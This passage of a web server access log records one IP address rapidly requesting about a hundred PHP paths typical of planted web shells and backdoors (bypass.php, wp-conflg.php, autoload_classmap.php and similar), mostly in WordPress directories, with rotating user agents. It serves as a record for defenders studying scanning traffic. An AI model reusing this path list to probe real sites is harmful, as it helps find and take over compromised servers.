+0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:27 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:11:27 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:28 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:28 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:29 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:29 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:29 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:30 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:30 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:31 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:31 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:32 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:32 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:11:32 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:33 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:33 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:34 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:34 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:35 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:35 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:35 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:36 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:11:36 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:37 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:37 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:11:37 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:38 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:38 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:39 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:39 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:39 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:40 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:40 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:41 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:41 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:42 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:42 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:11:42 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:43 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:43 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:44 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:44 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:45 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:45 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:45 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:11:46 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:11:46 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:47 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:47 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:47 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:48 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:48 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:49 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:11:49 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:11:50 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:11:50 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:50 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:51 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:51 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:11:52 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:11:52 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:11:53 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:53 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:11:53 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:54 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:54 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:55 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:11:55 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:55 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:11:56 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:11:56 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:57 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:57 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:58 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:11:58 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:11:58 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:11:59 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:11:59 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:00 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:12:01 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:01 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:02 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:02 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:12:02 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:03 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:03 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:04 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:04 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:05 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:05 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:06 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:06 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:07 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:12:07 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:08 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:08 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:12:08 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:09 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:12:09 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:10 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:10 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:12:11 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:11 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:12 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:12 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:12 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:13 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:13 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:14 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:14 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:12:14 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:15 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) 